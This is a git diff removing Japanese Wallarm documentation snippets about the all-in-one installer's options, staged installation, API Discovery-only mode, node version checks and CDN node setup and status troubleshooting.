この段階では、フィルタリングノードのバイナリ、ライブラリ、設定ファイルをダウンロードし、それらに基づいてマシンイメージを作成する必要があります。`--install-only`フラグを使用すると、スクリプトが必要なファイルをコピーし、ノードが動作するようにNGINXの設定を変更します。手動で調整したい場合は、`--skip-ngx-config`フラグを使用してNGINXファイルの変更をスキップできます。 -1. cloud-initでクラウドインスタンスを初期化: インスタンスの初期化時に、cloud-initスクリプトを使用してブートストラップ段階（Cloudへの登録とサービスの起動）を実行できます。この段階は、ビルド段階でコピーされた`/opt/wallarm/setup.sh`スクリプトに`--register-only`フラグを付与することで、ビルド段階とは独立して実行できます。 - -この機能は、バッチモードのオールインワンインストーラーのバージョン4.10.0以降でサポートされています。以下のコマンドで、前述のステップを順番に実行できます: - -=== "US Cloud" - ```bash - # x86_64版を使用する場合: - curl -O https://meganode.wallarm.com/5.3/wallarm-5.3.19.x86_64-glibc.sh - sudo sh wallarm-5.3.19.x86_64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t -c US - - # ARM64版を使用する場合: - curl -O https://meganode.wallarm.com/5.3/wallarm-5.3.19.aarch64-glibc.sh - sudo sh wallarm-5.3.19.aarch64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t -c US - ``` -=== "EU Cloud" - ``` - # x86_64版を使用する場合: - curl -O https://meganode.wallarm.com/5.3/wallarm-5.3.19.x86_64-glibc.sh - sudo sh wallarm-5.3.19.x86_64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t - - # ARM64版を使用する場合: - curl -O https://meganode.wallarm.com/5.3/wallarm-5.3.19.aarch64-glibc.sh - sudo sh wallarm-5.3.19.aarch64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t - ``` - -最後に、インストールを完了するため、[Wallarmによるトラフィック解析を有効化][enable-traffic-analysis-step]し、[NGINXを再起動][restart-nginx-step]する必要があります。 - -### フィルタリングノードとポストアナリティクスノードの個別インストール - -filtering/postanalyticsスイッチを使用すると、ポストアナリティクスモジュールを[個別にインストール][separate-postanalytics-installation-aio]できます。このスイッチを使用しない場合、デフォルトでフィルタリングコンポーネントとポストアナリティクスコンポーネントが同時にインストールされます。 - -### API Discoveryのみモード - -ノードをAPI Discoveryのみモード（バージョン5.3.7以降で利用可能）で使用できます。このモードでは、ノードの組み込み機構で検出される攻撃や追加の設定を要する攻撃（例: クレデンシャルスタッフィング、API仕様違反の試行、拒否リストおよびグレーリストのIPによる悪意ある活動）をローカルで検出し、（有効にしている場合は）ブロックしますが、Wallarm Cloudへはエクスポートしません。Cloudに攻撃データが存在しないため、[Threat Replay Testing][threat-replay-testing-docs]は動作しません。許可リストのIPからのトラフィックは許可されます。 - -一方で、[API Discovery][api-discovery-docs]、[API session tracking][api-sessions-docs]、[脆弱性検出][vuln-detection-docs]は完全に機能し、関連するセキュリティエンティティを検出して可視化のためにCloudへアップロードします。 - -このモードは、まずAPI資産を見直して機微データを特定し、そのうえで攻撃データのエクスポートを計画的に制御したい方に適しています。ただし、Wallarmは攻撃データを安全に処理し、必要に応じて[機微な攻撃データのマスキング][masking-sensitive-data-rule]も提供しているため、攻撃データのエクスポートを無効化するケースはまれです。 - -API Discoveryのみモードを有効にするには: - -1. `/etc/wallarm-override/env.list`ファイルを作成または更新します: - - ``` - sudo mkdir /etc/wallarm-override - sudo vim /etc/wallarm-override/env.list - ``` - - 次の変数を追加します: - - ``` - WALLARM_APID_ONLY=true - ``` - -1. [ノードのインストール手順](#requirements)に従います。 - -API Discoveryのみモードを有効にすると、`/opt/wallarm/var/log/wallarm/wcli-out.log`ログに次のメッセージが出力されます: - -```json -{"level":"info","component":"reqexp","time":"2025-01-31T11:59:38Z","message":"requests export skipped (disabled)"} -``` \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one/launch-options.md b/include-ja/waf/installation/all-in-one/launch-options.md deleted file mode 100644 index ea9040c4fc..0000000000 --- a/include-ja/waf/installation/all-in-one/launch-options.md +++ /dev/null @@ -1,121 +0,0 @@ -オールインワンスクリプトをダウンロードしたら、次のコマンドでヘルプを表示できます: - -``` -sudo sh ./wallarm-6.4.1.x86_64-glibc.sh -- -h -``` - -次の出力になります: - -``` -... -Usage: setup.sh [options]... [arguments]... [filtering/postanalytics] - -OPTION DESCRIPTION --b, --batch Batch mode, non-interactive installation. - --install-only Initiates the first stage of the all-in-one installer in batch mode. Copies essential configurations, including files and binaries, and sets up NGINX for node installation, bypassing Cloud registration and activation. Requires --batch. - --skip-ngx-config Avoids automatic NGINX configuration changes that occur during the --install-only stage in batch mode, suitable for users who prefer manual adjustments later. When used with --install-only, it ensures only essential configurations are copied without altering NGINX settings. Requires --batch. - --register-only Initiates the second stage of the all-in-one installer in batch mode, completing the setup by registering the node in the Cloud and starting its service. Requires --batch. --t, --token TOKEN Node token, required in a batch mode. --c, --cloud CLOUD Wallarm Cloud, one of US/EU, default is EU, only used in a batch mode. --H, --host HOST Wallarm API address, for example, api.wallarm.com or us1.api.wallarm.com, only used in a batch mode. --P, --port PORT Wallarm API pot, for example, 443. - --no-ssl Disable SSL for Wallarm API access. - --no-verify Disable SSL certificates verification. --f, --force If there is a node with the same name, create a new instance. --h, --help - --version -``` - -### バッチモード - -`--batch`オプションはバッチ(非対話)モードを有効にします。このモードでは、必要に応じて`--token`と`--cloud`フラグ、さらに環境変数`WALLARM_LABELS`で設定値を指定します。デフォルトモードのように対話的に入力を促されることはなく、明示的なコマンド指定が必要です。 - -以下は、ノードをインストールするためにバッチモードでスクリプトを実行するコマンド例です。スクリプトはすでに[ダウンロード済み][download-aio-step]であると仮定します: - -=== "US Cloud" - ```bash - # x86_64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-6.4.1.x86_64-glibc.sh -- --batch -t -c US - - # ARM64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-6.4.1.aarch64-glibc.sh -- --batch -t -c US - ``` -=== "EU Cloud" - ```bash - # x86_64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-6.4.1.x86_64-glibc.sh -- --batch -t - - # ARM64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-6.4.1.aarch64-glibc.sh -- --batch -t - ``` - -### ノードインストール段階の個別実行 - -クラウドインフラ用のマシンイメージをall-in-oneインストーラーで準備する場合、本記事の標準インストール手順だけでは不十分なことがあります。マシンイメージの作成とデプロイ要件に対応するため、all-in-oneインストーラーの特定の段階を個別に実行する必要があります: - -1. マシンイメージの作成: この段階では、フィルタリングノードのバイナリ、ライブラリ、設定ファイルをダウンロードし、それらに基づいてマシンイメージを作成します。`--install-only`フラグを使用すると、スクリプトは必要なファイルをコピーし、ノード稼働のためにNGINXの構成を変更します。手動で調整したい場合は、`--skip-ngx-config`フラグを使用してNGINXファイルの変更をスキップできます。 -1. cloud-initでクラウドインスタンスを初期化: インスタンスの初期化時に、ブートストラップフェーズ(Cloudへの登録とサービス起動)をcloud-initスクリプトで実行できます。この段階は、ビルド段階でコピーされた`/opt/wallarm/setup.sh`スクリプトに`--register-only`フラグを指定することで、ビルド段階とは独立して実行できます。 - -この機能は、バッチモードのall-in-oneインストーラーのバージョン4.10.0以降でサポートされています。以下のコマンドで、段階的に手順を実行できます: - -=== "US Cloud" - ```bash - # x86_64版を使用する場合: - curl -O https://meganode.wallarm.com/6.4/wallarm-6.4.1.x86_64-glibc.sh - sudo sh wallarm-6.4.1.x86_64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t -c US - - # ARM64版を使用する場合: - curl -O https://meganode.wallarm.com/6.4/wallarm-6.4.1.aarch64-glibc.sh - sudo sh wallarm-6.4.1.aarch64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t -c US - ``` -=== "EU Cloud" - ``` - # x86_64版を使用する場合: - curl -O https://meganode.wallarm.com/6.4/wallarm-6.4.1.x86_64-glibc.sh - sudo sh wallarm-6.4.1.x86_64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t - - # ARM64版を使用する場合: - curl -O https://meganode.wallarm.com/6.4/wallarm-6.4.1.aarch64-glibc.sh - sudo sh wallarm-6.4.1.aarch64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t - ``` - -最後に、インストールを完了するには、[Wallarmによるトラフィック解析を有効化][enable-traffic-analysis-step]し、[NGINXを再起動][restart-nginx-step]します。 - -### フィルタリングノードとポストアナリティクスノードの個別インストール - -filtering/postanalyticsスイッチを使用すると、postanalyticsモジュールを[個別に][separate-postanalytics-installation-aio]インストールできます。このスイッチを使用しない場合、フィルタリングとpostanalyticsの両コンポーネントはデフォルトで同時にインストールされます。 - -### API Discoveryのみのモード - -ノードはAPI Discoveryのみのモード(バージョン5.3.7以降で利用可能)で使用できます。このモードでは、ノードの組み込み機構で検知されるもの、および追加設定が必要なもの(例: クレデンシャルスタッフィング、API仕様違反の試行、拒否リスト化・グレーリスト化されたIPからの不正活動)を含む攻撃は、ローカルで(有効化されていれば)検知・ブロックされますが、Wallarm Cloudへはエクスポートされません。Cloudに攻撃データがないため、[Threat Replay Testing][threat-replay-testing-docs]は動作しません。ホワイトリスト化されたIPからのトラフィックは許可されます。 - -一方で、[API Discovery][api-discovery-docs]、[API session tracking][api-sessions-docs]、[セキュリティ脆弱性検出][vuln-detection-docs]は引き続き完全に機能し、関連するセキュリティエンティティを検出して可視化のためにCloudへアップロードします。 - -このモードは、まずAPIインベントリを確認して機微データを特定し、そのうえで攻撃データのエクスポートを統制して計画したい方に適しています。ただし、Wallarmは攻撃データを安全に処理し、必要に応じて[機微な攻撃データのマスキング][masking-sensitive-data-rule]を提供するため、攻撃データのエクスポートを無効化することは稀です。 - -API Discoveryのみのモードを有効化するには: - -1. `/etc/wallarm-override/env.list`ファイルを作成または編集します: - - ``` - sudo mkdir /etc/wallarm-override - sudo vim /etc/wallarm-override/env.list - ``` - - 次の変数を追加します: - - ``` - WALLARM_APID_ONLY=true - ``` - -1. [ノードのインストール手順](#requirements)に従います。 - -API Discoveryのみのモードが有効な場合、`/opt/wallarm/var/log/wallarm/wcli-out.log`ログには次のメッセージが出力されます: - -```json -{"level":"info","component":"reqexp","time":"2025-01-31T11:59:38Z","message":"requests export skipped (disabled)"} -``` \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one/separate-postanalytics-reqs.md b/include-ja/waf/installation/all-in-one/separate-postanalytics-reqs.md deleted file mode 100644 index 05843d750b..0000000000 --- a/include-ja/waf/installation/all-in-one/separate-postanalytics-reqs.md +++ /dev/null @@ -1,5 +0,0 @@ -* Wallarm Console（[US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)）で**Administrator**ロールを持つアカウントへのアクセス権が必要です。 -* すべてのコマンドをスーパーユーザー（例：`root`）として実行する必要があります。 -* オールインワンWallarmインストーラーをダウンロードするために`https://meganode.wallarm.com`へのアクセス権が必要です。ファイアウォールでアクセスがブロックされていないことを確認してください。 -* US Wallarm Cloudを使用している場合は`https://us1.api.wallarm.com`へのアクセス、EU Wallarm Cloudを使用している場合は`https://api.wallarm.com`へのアクセスが必要です。アクセスがプロキシサーバー経由でのみ設定できる場合は、[手順][configure-proxy-balancer-instr]を使用してください。 -* テキストエディター**vim**、**nano**、またはその他がインストールされている必要があります。この記事のコマンドでは**vim**を使用します。 \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one/use-cases.md b/include-ja/waf/installation/all-in-one/use-cases.md deleted file mode 100644 index 76d7c5264a..0000000000 --- a/include-ja/waf/installation/all-in-one/use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -サポートされている[Wallarmのデプロイメントオプション][platform]のうち、次の**ユースケース**ではこのソリューションを推奨します: - -* コンテナベースの手法を使用しないベアメタルまたは仮想マシンベースのインフラストラクチャです。通常、これらの環境はAnsibleやSaltStackなどのInfrastructure as Code（IaC）ツールで管理されます。 -* サービスがNGINXを中心に構築されています。Wallarmはオールインワンインストーラーを使用してNGINXの機能を拡張できます。 \ No newline at end of file diff --git a/include-ja/waf/installation/already-deployed-cloud-instance.md b/include-ja/waf/installation/already-deployed-cloud-instance.md deleted file mode 100644 index a959e765d7..0000000000 --- a/include-ja/waf/installation/already-deployed-cloud-instance.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! info "複数のWallarmノードをデプロイする場合" - 環境にデプロイされたすべてのWallarmノードは**同一バージョン**である必要があります。別々のサーバーにインストールされているpostanalyticsモジュールも**同一バージョン**である必要があります。 - - 追加ノードをインストールする前に、そのバージョンが既にデプロイ済みのモジュールのバージョンと一致していることを確認してください。デプロイ済みモジュールのバージョンが[非推奨、またはまもなく非推奨になります(`4.0`以下)][versioning-policy]の場合は、すべてのモジュールを最新バージョンにアップグレードしてください。 - - 起動中のバージョンを確認するには、稼働中のインスタンスに接続し、次のコマンドを実行してください。 - - ``` - apt list wallarm-node - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/already-deployed-envoy-docker-image.md b/include-ja/waf/installation/already-deployed-envoy-docker-image.md deleted file mode 100644 index 3219b46951..0000000000 --- a/include-ja/waf/installation/already-deployed-envoy-docker-image.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! info "複数のWallarmノードをデプロイする場合" - 環境にデプロイされたすべてのWallarmノードは**同一バージョン**である必要があります。別のサーバーにインストールされたpostanalyticsモジュールも**同一バージョン**である必要があります。 - - 追加ノードをインストールする前に、そのバージョンが既にデプロイ済みのモジュールのバージョンと一致していることを確認してください。デプロイ済みモジュールのバージョンが[非推奨、または間もなく非推奨となる（`4.0`以下）][versioning-policy]である場合は、すべてのモジュールを最新バージョンにアップグレードしてください。 - - インストールされているバージョンを確認するには、コンテナ内で次のコマンドを実行してください: - - ```bash - yum list wallarm-node - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/already-deployed-nginx-docker-image.md b/include-ja/waf/installation/already-deployed-nginx-docker-image.md deleted file mode 100644 index 2bcaeb67bc..0000000000 --- a/include-ja/waf/installation/already-deployed-nginx-docker-image.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! info "複数のWallarmノードをデプロイする場合" - 環境にデプロイされたすべてのWallarmノードは**同じバージョン**である必要があります。別々のサーバーにインストールされたpostanalyticsモジュールも**同じバージョン**である必要があります。 - - 追加ノードをインストールする前に、そのバージョンがすでにデプロイ済みのモジュールのバージョンと一致していることを確認してください。デプロイ済みのモジュールのバージョンが[非推奨、またはまもなく非推奨となるもの（`4.0`以下）][versioning-policy]である場合は、すべてのモジュールを最新バージョンにアップグレードしてください。 - - インストール済みのバージョンを確認するには、コンテナー内で次のコマンドを実行します： - - ```bash - apt list wallarm-node - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/already-deployed-sidecar-helm.md b/include-ja/waf/installation/already-deployed-sidecar-helm.md deleted file mode 100644 index 2dd98aeca9..0000000000 --- a/include-ja/waf/installation/already-deployed-sidecar-helm.md +++ /dev/null @@ -1,6 +0,0 @@ -!!! info "複数のWallarmノードをデプロイする場合" - ご利用の環境にデプロイされているすべてのWallarmノードは、**同一バージョン**である必要があります。別サーバーにインストールされているpostanalyticsモジュールも**同一バージョン**である必要があります。 - - 追加のノードをインストールする前に、そのバージョンが既にデプロイ済みのモジュールのバージョンと一致していることを確認してください。デプロイ済みモジュールのバージョンが[非推奨、またはまもなく非推奨となる（`4.0`以下）][versioning-policy]場合は、すべてのモジュールを最新バージョンにアップグレードしてください。 - - デプロイ済みのWallarmフィルタリングノードイメージのバージョンは、Helmチャートの設定ファイル → `wallarm.image.tag`で指定されています。 \ No newline at end of file diff --git a/include-ja/waf/installation/already-deployed-sidecar-manifests.md b/include-ja/waf/installation/already-deployed-sidecar-manifests.md deleted file mode 100644 index 808b52d7aa..0000000000 --- a/include-ja/waf/installation/already-deployed-sidecar-manifests.md +++ /dev/null @@ -1,6 +0,0 @@ -!!! info "複数のWallarmノードをデプロイする場合" - ご利用の環境にデプロイされたすべてのWallarmノードは**同一バージョン**である必要があります。別サーバーにインストールされたpostanalyticsモジュールも**同一バージョン**である必要があります。 - - 追加ノードをインストールする前に、そのバージョンがすでにデプロイ済みのモジュールのバージョンと一致していることを確認してください。デプロイ済みモジュールのバージョンが[非推奨、または間もなく非推奨となる予定（`4.0`以下）][versioning-policy]の場合は、すべてのモジュールを最新バージョンにアップグレードしてください。 - - デプロイ済みのWallarmフィルタリングノードイメージのバージョンは、Deploymentテンプレート → `spec.template.spec.containers`セクション → Wallarmコンテナの`image`に指定されています。 \ No newline at end of file diff --git a/include-ja/waf/installation/already-installed-waf-postanalytics-36.md b/include-ja/waf/installation/already-installed-waf-postanalytics-36.md deleted file mode 100644 index d200addd32..0000000000 --- a/include-ja/waf/installation/already-installed-waf-postanalytics-36.md +++ /dev/null @@ -1,54 +0,0 @@ -!!! info "複数のWallarmノードをデプロイする場合" - 環境にデプロイされるすべてのWallarmノードは、**同じバージョン**である必要があります。別々のサーバーにインストールされたpostanalyticsモジュールも**同じバージョン**である必要があります。 - - 追加ノードをインストールする前に、そのバージョンが既にデプロイ済みのモジュールのバージョンと一致していることを確認してください。デプロイ済みのモジュールのバージョンが[非推奨、または間もなく非推奨になる場合（`4.0`以下）][versioning-policy]、すべてのモジュールを最新バージョンにアップグレードしてください。 - - 同一サーバーにインストールされているフィルタリングノードとpostanalyticsのバージョンを確認するには、次を実行します: - - === "Debian" - ```bash - apt list wallarm-node - ``` - === "Ubuntu" - ```bash - apt list wallarm-node - ``` - === "CentOSまたはAmazon Linux 2.0.2021x以下" - ```bash - yum list wallarm-node - ``` - === "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - yum list wallarm-node - ``` - - 異なるサーバーにインストールされているフィルタリングノードとpostanalyticsのバージョンを確認するには、次を実行します: - - === "Debian" - ```bash - # Wallarmフィルタリングノードがインストールされているサーバーで実行 - apt list wallarm-node-nginx - # postanalyticsがインストールされているサーバーで実行 - apt list wallarm-node-tarantool - ``` - === "Ubuntu" - ```bash - # Wallarmフィルタリングノードがインストールされているサーバーで実行 - apt list wallarm-node-nginx - # postanalyticsがインストールされているサーバーで実行 - apt list wallarm-node-tarantool - ``` - === "CentOSまたはAmazon Linux 2.0.2021x以下" - ```bash - # Wallarmフィルタリングノードがインストールされているサーバーで実行 - yum list wallarm-node-nginx - # postanalyticsがインストールされているサーバーで実行 - yum list wallarm-node-tarantool - ``` - === "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - # Wallarmフィルタリングノードがインストールされているサーバーで実行 - yum list wallarm-node-nginx - # postanalyticsがインストールされているサーバーで実行 - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/already-installed-waf-postanalytics-distr-36.md b/include-ja/waf/installation/already-installed-waf-postanalytics-distr-36.md deleted file mode 100644 index f7d9e25d69..0000000000 --- a/include-ja/waf/installation/already-installed-waf-postanalytics-distr-36.md +++ /dev/null @@ -1,43 +0,0 @@ -!!! info "複数のWallarmノードをデプロイする場合" - お使いの環境にデプロイされるすべてのWallarmノードは**同一バージョン**である必要があります。別サーバーにインストールされているpostanalyticsモジュールも**同一バージョン**である必要があります。 - - 追加ノードをインストールする前に、そのバージョンが既にデプロイ済みのモジュールのバージョンと一致していることを確認してください。デプロイ済みのモジュールのバージョンが[非推奨、またはまもなく非推奨になる予定（`4.0`以下）][versioning-policy]の場合は、すべてのモジュールを最新バージョンにアップグレードしてください。 - - 同一サーバーにデプロイされているフィルタリングノードとpostanalyticsモジュールのバージョンを確認するには、以下を実行します。 - - === "Debian" - ```bash - apt list wallarm-node - ``` - === "CentOS" - ```bash - yum list wallarm-node - ``` - === "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - yum list wallarm-node - ``` - - 異なるサーバーにデプロイされているフィルタリングノードとpostanalyticsモジュールのバージョンを確認するには、以下を実行します。 - - === "Debian" - ```bash - # Wallarmフィルタリングノードがインストールされたサーバーから実行します - apt list wallarm-node-nginx - # postanalyticsがインストールされたサーバーから実行します - apt list wallarm-node-tarantool - ``` - === "CentOS" - ```bash - # Wallarmフィルタリングノードがインストールされたサーバーから実行します - yum list wallarm-node-nginx - # postanalyticsがインストールされたサーバーから実行します - yum list wallarm-node-tarantool - ``` - === "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - # Wallarmフィルタリングノードがインストールされたサーバーから実行します - yum list wallarm-node-nginx - # postanalyticsがインストールされたサーバーから実行します - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/already-installed-waf-postanalytics-distr.md b/include-ja/waf/installation/already-installed-waf-postanalytics-distr.md deleted file mode 100644 index 9ac6d1d6fe..0000000000 --- a/include-ja/waf/installation/already-installed-waf-postanalytics-distr.md +++ /dev/null @@ -1,32 +0,0 @@ -!!! info "複数のWallarmノードをデプロイする場合" - お使いの環境にデプロイされているすべてのWallarmノードは、**同じバージョン**である必要があります。別のサーバーにインストールされているpostanalyticsモジュールも**同じバージョン**である必要があります。 - - 追加ノードをインストールする前に、そのバージョンが既にデプロイ済みのモジュールのバージョンと一致していることを確認してください。デプロイ済みモジュールのバージョンが[非推奨、または間もなく非推奨となる予定（`4.0`以下）][versioning-policy]の場合は、すべてのモジュールを最新バージョンにアップグレードしてください。 - - 同一サーバーにデプロイされているフィルタリングノードとpostanalyticsモジュールのバージョンを確認するには： - - === "Debian" - ```bash - apt list wallarm-node - ``` - === "CentOS" - ```bash - yum list wallarm-node - ``` - - 異なるサーバーにデプロイされているフィルタリングノードとpostanalyticsモジュールのバージョンを確認するには： - - === "Debian" - ```bash - # Wallarmのフィルタリングノードがインストールされているサーバーで実行します - apt list wallarm-node-nginx - # postanalyticsがインストールされているサーバーで実行します - apt list wallarm-node-tarantool - ``` - === "CentOS" - ```bash - # Wallarmのフィルタリングノードがインストールされているサーバーで実行します - yum list wallarm-node-nginx - # postanalyticsがインストールされているサーバーで実行します - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/already-installed-waf-postanalytics-kong.md b/include-ja/waf/installation/already-installed-waf-postanalytics-kong.md deleted file mode 100644 index c806e05cea..0000000000 --- a/include-ja/waf/installation/already-installed-waf-postanalytics-kong.md +++ /dev/null @@ -1,43 +0,0 @@ -!!! info "複数のWallarmノードをデプロイする場合" - 環境にデプロイされたすべてのWallarmノードは**同一バージョン**である必要があります。異なるサーバーにインストールされたpostanalyticsモジュールも**同一バージョン**である必要があります。 - - 追加ノードをインストールする前に、そのバージョンが既にデプロイ済みのモジュールのバージョンと一致していることを確認してください。デプロイ済みモジュールのバージョンが[非推奨、または近日中に非推奨となる（`4.0`以下）][versioning-policy]場合は、すべてのモジュールを最新バージョンにアップグレードしてください。 - - 同一サーバーにデプロイされたフィルタリングノードとpostanalyticsモジュールのバージョンを確認するには: - - === "Debian" - ```bash - apt list wallarm-node - ``` - === "Ubuntu" - ```bash - apt list wallarm-node - ``` - === "CentOS" - ```bash - yum list wallarm-node - ``` - - 異なるサーバーにデプロイされたフィルタリングノードとpostanalyticsモジュールのバージョンを確認するには: - - === "Debian" - ```bash - # Wallarmフィルタリングノードがインストールされているサーバーで実行します - apt list wallarm-node-nginx - # postanalyticsがインストールされているサーバーで実行します - apt list wallarm-node-tarantool - ``` - === "Ubuntu" - ```bash - # Wallarmフィルタリングノードがインストールされているサーバーで実行します - apt list wallarm-node-nginx - # postanalyticsがインストールされているサーバーで実行します - apt list wallarm-node-tarantool - ``` - === "CentOS" - ```bash - # Wallarmフィルタリングノードがインストールされているサーバーで実行します - yum list wallarm-node-nginx - # postanalyticsがインストールされているサーバーで実行します - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/already-installed-waf-postanalytics.md b/include-ja/waf/installation/already-installed-waf-postanalytics.md deleted file mode 100644 index 8fa00e70e2..0000000000 --- a/include-ja/waf/installation/already-installed-waf-postanalytics.md +++ /dev/null @@ -1,43 +0,0 @@ -!!! info "複数のWallarmノードをデプロイする場合" - お使いの環境にデプロイされるすべてのWallarmノードは**同一バージョン**である必要があります。別々のサーバーにインストールされるpostanalyticsモジュールも**同一バージョン**である必要があります。 - - 追加ノードをインストールする前に、そのバージョンが既にデプロイ済みのモジュールのバージョンと一致していることを確認してください。デプロイ済みのモジュールのバージョンが[非推奨、またはまもなく非推奨になります（`4.0`以下）][versioning-policy]の場合は、すべてのモジュールを最新バージョンにアップグレードしてください。 - - 同一サーバーにインストールされたフィルタリングノードとpostanalyticsのバージョンを確認するには: - - === "Debian" - ```bash - apt list wallarm-node - ``` - === "Ubuntu" - ```bash - apt list wallarm-node - ``` - === "CentOSまたはAmazon Linux 2.0.2021xおよびそれ以前" - ```bash - yum list wallarm-node - ``` - - 異なるサーバーにインストールされたフィルタリングノードとpostanalyticsのバージョンを確認するには: - - === "Debian" - ```bash - # Wallarmフィルタリングノードがインストールされたサーバーで実行します - apt list wallarm-node-nginx - # postanalyticsがインストールされたサーバーで実行します - apt list wallarm-node-tarantool - ``` - === "Ubuntu" - ```bash - # Wallarmフィルタリングノードがインストールされたサーバーで実行します - apt list wallarm-node-nginx - # postanalyticsがインストールされたサーバーで実行します - apt list wallarm-node-tarantool - ``` - === "CentOSまたはAmazon Linux 2.0.2021xおよびそれ以前" - ```bash - # Wallarmフィルタリングノードがインストールされたサーバーで実行します - yum list wallarm-node-nginx - # postanalyticsがインストールされたサーバーで実行します - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/basic-reqs-for-upgrades.md b/include-ja/waf/installation/basic-reqs-for-upgrades.md deleted file mode 100644 index e249ba02cd..0000000000 --- a/include-ja/waf/installation/basic-reqs-for-upgrades.md +++ /dev/null @@ -1,5 +0,0 @@ -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセス権が必要です -* US Wallarm Cloudを使用している場合は`https://us1.api.wallarm.com`へのアクセス、EU Wallarm Cloudを使用している場合は`https://api.wallarm.com`へのアクセスが必要です。ファイアウォールでアクセスがブロックされていないことを確認してください -* 攻撃検出ルールおよびAPI仕様の更新をダウンロードし、さらにお使いの[allowlisted, denylisted, or graylisted][ip-lists-docs]の国、地域、またはデータセンターの正確なIPアドレスを取得するために、以下のIPアドレスへのアクセスが必要です - - --8<-- "../include/wallarm-cloud-ips.md" \ No newline at end of file diff --git a/include-ja/waf/installation/cdn-node/cdn-node-configuration-options.md b/include-ja/waf/installation/cdn-node/cdn-node-configuration-options.md deleted file mode 100644 index fe98df0843..0000000000 --- a/include-ja/waf/installation/cdn-node/cdn-node-configuration-options.md +++ /dev/null @@ -1,6 +0,0 @@ -* [トラフィックフィルタリングモードの設定][operation-mode-rule-docs] -* [トラフィックフィルタリングルールのカスタマイズ][rules-docs] -* [IPアドレスの許可リスト、拒否リスト、グレーリスト][ip-lists-docs] -* [DevOpsツールとのネイティブ連携][integration-docs]および[Triggers][trigger-docs]経由でのシステムイベント通知の設定 -* 保護対象リソースのオリジンアドレスの更新、カスタムSSL/TLS証明書のアップロード、CDNノードの削除のための[**Nodes**セクションUIの使用][nodes-ui-docs] -* [コンテンツ配信を高速化するためにVarnish Cacheを使用するかどうかの選択][using-varnish-cache] \ No newline at end of file diff --git a/include-ja/waf/installation/cdn-node/cdn-node-deployment-requirements.md b/include-ja/waf/installation/cdn-node/cdn-node-deployment-requirements.md deleted file mode 100644 index 6a864d3e46..0000000000 --- a/include-ja/waf/installation/cdn-node/cdn-node-deployment-requirements.md +++ /dev/null @@ -1,4 +0,0 @@ -- 保護対象のWebサイトのドメインは第3レベル（またはそれ以下）である必要があります。 -- Webサイトに関連付けられたIPv4アドレス（IPv6はサポートされていません）が必要があります。 -- ドメインのDNSレコードを編集するための十分なアクセス権限が必要があります。 -- CDN nodeを設定するユーザーに**Administrator** [role][user-roles-docs]が割り当てられている必要があります。 \ No newline at end of file diff --git a/include-ja/waf/installation/cdn-node/cdn-node-troubleshooting.md b/include-ja/waf/installation/cdn-node/cdn-node-troubleshooting.md deleted file mode 100644 index 858482cb25..0000000000 --- a/include-ja/waf/installation/cdn-node/cdn-node-troubleshooting.md +++ /dev/null @@ -1,69 +0,0 @@ -### CDNノードのステータスは何を意味しますか? - -CDNノードには、Wallarm Console → **Nodes**に次のステータスが表示される場合があります: - -* **Registering**: WallarmがクラウドプロバイダにCDNノードを登録しています。 - - 必要な対応:**Requires CNAME**ステータスになり、保護対象ドメインのDNSレコードにWallarmのCNAMEレコードを追加できるようになるまでお待ちください。 -* **Requires CNAME**: 保護対象ドメインのDNSレコードにWallarmのCNAMEレコードが追加されていないか、追加済みでもまだ伝播していません。 - - 必要な対応:Wallarmが提供するCNAMEレコードを保護対象ドメインのDNSレコードに追加するか、変更がインターネット上で有効になるまでお待ちください。 - - 変更が24時間以上経過しても有効にならない場合は、ドメインプロバイダでDNSレコードが正常に更新されたことを確認してください。正しく更新されているのにWallarm Consoleに**Not propagated yet**ステータスが引き続き表示される場合は、[Wallarmテクニカルサポート](mailto:support@wallarm.com)にご連絡ください。 - - 次に遷移する想定のステータスは**Active**です。 -* **Configuring**: Wallarmが変更されたオリジンアドレスまたはSSL/TLS証明書を処理しています。 - - 必要な対応:**Active**ステータスになるまでお待ちください。 -* **Active**: WallarmのCDNノードが悪意のあるトラフィックをブロックします。 - - 